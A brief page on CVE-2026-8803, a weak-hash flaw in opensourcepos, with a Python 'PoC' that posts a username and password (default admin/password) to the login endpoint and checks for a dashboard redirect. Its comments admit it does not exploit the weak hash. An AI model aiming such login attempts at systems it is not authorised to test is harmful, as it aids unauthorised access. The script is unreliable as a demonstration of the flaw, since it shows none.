CVE-2026-8803: opensourcepos 弱哈希漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-8803 (Weak Hash in opensourcepos) This script demonstrates the login request flow. Actual exploitation depends on the presence of legacy hashes in the database and the specific configuration of the application. """ import requests def check_login(target_url, username, password): # Target endpoint for login login_url = f"{target_url}/index.php/login" session = requests.Session() # Payload data payload = { 'username': username, 'password': password } try: # Send POST request to trigger the Login function in Employee.php response = session.post(login_url, data=payload, timeout=10) # Check if login was successful or if specific weak hash behavior is observed # Note: Vendor states hashes are migrated after login, so detecting the weak hash # typically requires access to the database before the migration occurs. if response.status_code == 200 and "dashboard" in response.url: print("[+] Login successful. Hash migration might have occurred.") else: print("[-] Login failed or vulnerability not exploitable via this simple request.") except requests.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with actual target details target = "http://localhost/opensourcepos" user = "admin" pwd = "password" check_login(target, user, pwd)